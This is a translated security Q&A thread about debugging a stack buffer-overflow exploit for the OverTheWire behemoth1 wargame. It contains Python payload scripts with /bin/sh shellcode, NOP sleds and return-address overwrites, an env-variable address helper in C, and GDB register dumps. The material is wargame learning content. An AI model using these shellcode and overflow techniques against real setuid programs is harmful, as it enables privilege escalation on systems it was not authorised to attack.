Exploit 在 GDB 之外不起作用

信息安全 开发开发 堆栈溢出
2021-09-02 21:14:52

我已经尝试过为其他“漏洞利用在 gdb 之外不起作用”问题(r.sh、invoke.sh、删除环境变量)提供的各种解决方案,此时我完全不知道为什么漏洞利用不起作用(overthewire 上的 behemoth1战争游戏)。这个级别的漏洞应该是一个简单的堆栈溢出,重定向代码执行,生成一个shell并为下一个用户转储密码。

GDB内部:

behemoth1@melinda:/tmp/halp_bh$ gdb -q -iex "set auto-load safe-path /" /behemoth/behemoth1
gdb-peda$ unset env
gdb-peda$ ! ./01.py > exploit_dump.hex
gdb-peda$ r < exploit_dump.hex
Starting program: /games/behemoth/behemoth1 < exploit_dump.hex
Password: Authentication failure.
Sorry.
process 17264 is executing new program: /bin/dash
[Inferior 1 (process 17264) exited normally]
Warning: not running or target is remote
gdb-peda$

在 GDB 之外(我也确保使用相同的调用字符串):

behemoth1@melinda:/tmp/halp_bh$ ./01.py | env - /behemoth/behemoth1
Password: Authentication failure.
Sorry.
Segmentation fault

漏洞利用代码

#!/usr/bin/env python

from struct import pack

def _pack(arg):
    return pack('<I', arg)

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

payload = ''
payload += '\x90' * 28
payload += shellcode # 23
payload += '\x90' * 28
payload += _pack(0xffffde00)

print payload

编辑 1:堆栈是 RWE

behemoth1@melinda:~$ readelf -l /behemoth/behemoth1

Elf file type is EXEC (Executable file)
Entry point 0x8048360
There are 8 program headers, starting at offset 52

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  .
  .
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10

编辑 2:即使使用环境变量,漏洞利用也不起作用

behemoth1@melinda:/tmp/halp_bh$ export SC="\xeb\x19\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x59\xb2\x0a\xcd\x80\x31\xc0\xb0\x                                   01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x54\x72\x79\x20\x68\x61\x72\x64\x65\x72"
behemoth1@melinda:/tmp/halp_bh$ ./getenvaddr SC /behemoth/behemoth1
SC will be at 0xffffde62
behemoth1@melinda:/tmp/halp_bh$ vim 01.py
behemoth1@melinda:/tmp/halp_bh$ ./01.py > exploit_dump.txt
behemoth1@melinda:/tmp/halp_bh$ (cat exploit_dump.txt ; cat) | /behemoth/behemoth1
Password: Authentication failure.
Sorry.
whoami
Segmentation fault

新 01.py

#!/usr/bin/env python

from struct import pack

def _pack(arg):
    return pack('<I', arg)


payload = ''
payload += '\x41' * 79
payload += _pack(0xffffde62)

print payload

编辑 3:一个 0x10000 字节的 nopsled 仍然是段错误。这越来越荒谬了......

behemoth1@melinda:/tmp/halp_bh$ env | grep SC
SC=\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
LESSCLOSE=/usr/bin/lesspipe %s %s
behemoth1@melinda:/tmp/halp_bh$ export A=$(python -c "print '\x90'*0x10000")$SC
behemoth1@melinda:/tmp/halp_bh$ ./getenvaddr A /behemoth/behemoth1
A will be at 0xfffed7f6
# 0xfffed7f6 + 0x800 = 0xfffedff6
behemoth1@melinda:/tmp/halp_bh$ vim 01.py
behemoth1@melinda:/tmp/halp_bh$ ./01.py | /behemoth/behemoth1
Password: Authentication failure.
Sorry.
Segmentation fault
behemoth1@melinda:/tmp/halp_bh$
behemoth1@melinda:/tmp/halp_bh$ ./01.py > exploit_dump.txt
behemoth1@melinda:/tmp/halp_bh$ cat exploit_dump.txt  | /behemoth/behemoth1
Password: Authentication failure.
Sorry.
Segmentation fault
behemoth1@melinda:/tmp/halp_bh$

01.py

#!/usr/bin/env python

from struct import pack

def _pack(arg):
    return pack('<I', arg)

payload = ''

payload += '\x41' * 79
# payload += _pack(0xffff58cd)
# 0xfffedff6
payload += '\xf6\xdf\xfe\xff'

print payload

获取envaddr.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char *ptr;

    if(argc < 3) {
        printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
        exit(0);
    }
    ptr = getenv(argv[1]); /* get env var location */
    ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
    printf("%s will be at %p\n", argv[1], ptr);
}
1个回答

我的猜测是,在您的解决方案中,堆栈在外部有点错位gdb,而您在内部看到的堆栈gdb其他地方。我确实解决了这个问题,并使用了一个简单的技巧来绕过这个问题。

如果您设置环境变量,它们将在堆栈中,这就是本次挑战中的 RWE。因此,您实际上可以使用 env 变量将 shellcode 和 nopsled 传递给二进制文件:

NOPS=$(python -c 'print "\x90" * 0x10000')
SC=$'...' # shellcode
env -i "A=$NOPS$SC" /behemoth/behemoth1 < yourpayload

这将帮助您增加正确设置 EIP 并返回到 nopsled 内的机会。

ps:我不会帮你修复你的payload,你需要自己做:)

编辑:演示补充说堆栈在别处。

如果您使用 GDB 启动程序env - /behemoth/behemoth1并在它要求输入密码时附加 GDB gdb /behemoth/behemoth1 --pid=$(pgrep behemoth1),然后继续使用足够长的有效负载,您将类似于以下内容:

gdb-peda$ c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0xffffffff 
EDX: 0xf7fa1870 --> 0x0 
ESI: 0xf7fa0000 --> 0x1b1db0 
EDI: 0xf7fa0000 --> 0x1b1db0 
EBP: 0x46454545 ('EEEF')
ESP: 0xffffde70 --> 0x0 
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141

您可以在此转储中发现有效负载:

gdb-peda$ x/20x 0xffffde00
0xffffde00: 0x0804853c  0xffffdea4  0xf7fa0000  0x00004d57
0xffffde10: 0xffffffff  0x0000002f  0xf7dfadc8  0x41414158
0xffffde20: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffde30: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffde40: 0x41414141  0x41414141  0x41414141  0x41414141

但是,当您使用您使用的方法从 GDB 内部启动它时,有效负载将不在指定地址:

➜  gdb -q -iex "set auto-load safe-path /" /behemoth/behemoth1
gdb-peda$ unset env
gdb-peda$ r
Starting program: /behemoth/behemoth1 
Password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFAAAA
Authentication failure.
Sorry.

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0xffffffff 
EDX: 0xf7fa1870 --> 0x0 
ESI: 0xf7fa0000 --> 0x1b1db0 
EDI: 0xf7fa0000 --> 0x1b1db0 
EBP: 0x46454545 ('EEEF')
ESP: 0xffffde00 --> 0x0 
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffde00 --> 0x0 
0004| 0xffffde04 --> 0xffffde94 --> 0xffffdf7a ("/behemoth/behemoth1")
0008| 0xffffde08 --> 0xffffde9c --> 0xffffdf8e ("HOME=/home/akg")
0012| 0xffffde0c --> 0x0 
0016| 0xffffde10 --> 0x0 
0020| 0xffffde14 --> 0x0 
0024| 0xffffde18 --> 0xf7fa0000 --> 0x1b1db0 
0028| 0xffffde1c --> 0xf7ffdc04 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
gdb-peda$ x/20x 0xffffde00
0xffffde00: 0x00000000  0xffffde94  0xffffde9c  0x00000000
0xffffde10: 0x00000000  0x00000000  0xf7fa0000  0xf7ffdc04
0xffffde20: 0xf7ffd000  0x00000000  0xf7fa0000  0xf7fa0000
0xffffde30: 0x00000000  0x04ea9018  0x3b9d7e08  0x00000000
0xffffde40: 0x00000000  0x00000000  0x00000001  0x08048360
gdb-peda$ x/20x 0xffffde00-0x40
0xffffddc0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffddd0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffdde0: 0x41414141  0x41414141  0x42414141  0x43424242
0xffffddf0: 0x44434343  0x45444444  0x46454545  0x41414141
0xffffde00: 0x00000000  0xffffde94  0xffffde9c  0x00000000